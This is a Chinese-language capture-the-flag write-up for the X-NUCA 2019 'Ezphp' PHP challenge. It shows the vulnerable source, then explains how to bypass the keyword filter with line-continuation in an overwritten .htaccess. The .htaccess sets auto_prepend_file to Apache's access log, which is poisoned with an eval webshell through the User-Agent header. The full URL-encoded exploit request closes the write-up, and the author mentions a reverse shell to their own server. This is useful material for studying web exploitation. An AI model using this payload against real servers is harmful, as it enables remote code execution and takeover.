X-NUCA 2019 Ezphp题目writeup
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance"); ?> 就是个表面很直白的题,直接丢源码出来,不像某些题要我们自己找源码。 好了,看看代码。首先这个代码上来就删除同目录的文件,然后include一个fl3g.php接着从我们这里接收content和filename参数,在关键字和正则匹配无误之后先再删除同目录文件然后再写入文件。 0x01 完整解题思路 看到删了文件,fl3g.php八成是遭殃了,还有那个Just one change有是什么鬼,似乎是暗示我们必须得一下拿到flag不然flag就被删了。在这里我卡了很久,要读到flag必须得从index.php打进去,而一访问这个index.php是先删文件再管我的参数的。我又不是NSA,没有什么Apache 0day可以打进去。 后来我重新申请个环境,在我点进去之前先访问fl3g.php,发现根本就是404,排除恶趣味主办方把这个php伪装成404的极端情况,这个题的fl3g就他妈是个幌子,I'm angry!
不管怎么说先拿到shell进去一看究竟,我成功地写入了php,但是发现是这个样子的
也就是说这个PHP无法被解析,一下就会想到.htaccess文件的问题,那我们需要先测试下.htaccess能否被覆盖掉,于是上传一个空的上去,服务器马上500了,说明我们对服务器是有影响的。那为什么会有问题导致直接500呢?那是因为输出内容被加上了\nJust one chance,导致.htaccess语句不合法最后服务器出错。 现在我们需要想办法让.htaccess合法。第一个思路是加上注释把这句话注释掉,但是Google了一阵之后发现htaccess大约真的不支持多行注释并且一出错整个服务器就500,看起来注释着一条路走不通。那换一条路径,看看这个htaccess支不支持多行数据呢?抱着这样的想法,我搜索了关键字htaccess multiple line发现真的可以,并且不要求最后什么引号闭合就可以搞。就这样我们可以成功构造htaccess文件了。
我最开始的思路是修改htaccess文件来要求解析php但是发现并不奏效,除了htaccess还有一种神秘力量在阻止我的php执行,我不得不另寻它途。但这些尝试也不是毫无收获,我发现了对content的限制是针对htaccess里面的关键字限制的(尽管可以用空行绕过),侧面证明了题目就是要考察htaccess的利用。
那我一点一点地翻着文档,花了非常长的时间从Apache的官方文档到PHP的官方文档,最后终于找到了一个近乎后门的PHP变量auto_prepend_file,这个变量让我们指定一个路径
,在解析其它PHP的时候先从这个变量指定的目录读取并执行PHP。好了我们需要再找一个文件来包含就可以拿到shell了!
目前的方法有两个,一个是利用/var/log/apache2/access.log这里的access.log然后我在我的User Agent里面加入木马然后包含,还有一个是直接在.htaccess里面的注释里面写入马。比赛的时候我采取的是第一个方法因为我笨,不过至少事实证明这个方法居然还是可行的。最开始的尝试是写入一句话木马,然后通过index.php连接,但是每次index.php都会清理掉我的htaccess,所以这个方法有瑕疵。于是我直接用了php反向连接马来连接我的Vultr辣鸡服务器,最后拿到shell。有个细节需要注意,由于htaccess会把双引号转义,而且还有些奇怪的问题,所以用base64编码,单引号括上,解码eval就可以了
最后的payload如下
GET /?content=%53%65%74%48%61%6e%64%6c%65%72%20%22%61%70%70%6c%69%63%61%74%69%6f%5c%0a%6e%2f%78%2d%68%74%74%70%64%2d%70%68%70%22%0a%70%68%70%5f%76%61%6c%75%65%20%65%6e%67%69%6e%65%20%22%4f%5c%0a%6e%22%0a%70%68%70%5f%76%61%6c%75%65%20%64%69%73%70%6c%61%79%5f%65%72%72%6f%72%73%20%31%20%0a%70%68%70%5f%76%61%6c%75%65%20%20%22%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%22%20%20%2f%76%61%72%2f%6c%6f%67%2f%61%70%61%63%68%65%32%2f%61%63%63%65%73%73%2e%6c%6f%67%0a%70%68%70%5f%76%61%6c%75%65%20%6c%6f%67%5f%65%72%72%6f%72%73%20%31%0a%53%65%74%45%6e%76%20%71%71%71%78%78%20%22%61%5c&filename=.htaccess HTTP/1.1
Host: f033deae00f84c159aa539ca6f43163929c36777a4db4b2e.changame.ichunqiu.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval(base64_decode('为了简洁我删掉了')); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close